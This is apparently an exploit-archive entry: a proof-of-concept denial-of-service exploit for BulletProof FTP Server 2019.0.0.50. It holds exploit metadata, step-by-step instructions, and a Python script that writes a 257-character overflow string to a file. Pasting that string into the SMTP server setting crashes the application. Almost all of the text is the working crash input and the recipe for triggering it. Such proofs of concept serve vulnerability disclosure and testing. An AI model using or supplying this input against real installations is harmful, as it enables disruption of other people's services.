BulletProof FTP Server 2019.0.0.50 Denial Of Service

`#Exploit Title: BulletProof FTP Server 2019.0.0.50 - Denial of Service (PoC)  
#Discovery by: Victor MondragA3n  
#Discovery Date: 2018-02-19  
#Vendor Homepage: http://bpftpserver.com/  
#Software Link: http://bpftpserver.com/products/bpftpserver/windows/download  
#Tested Version: 2019.0.0.50  
#Tested on: Windows 7 x64 Service Pack 1  
  
#Steps to produce the crash:  
#1.- Run python code: BulletProof_FTP_Server_2019.0.0.50.py  
#2.- Open bullet.txt and copy content to clipboard  
#3.- Open BulletProof FTP Server  
#4.- Select "Settings" > "SMTP"  
#5.- In "Email Server" select "SMTP Server" and Paste Clipboard  
#6.- Click on "Test"  
#7.- Crashed  
  
cod = "\x41" * 257  
  
f = open('bullet.txt', 'w')  
f.write(cod)  
f.close()  
`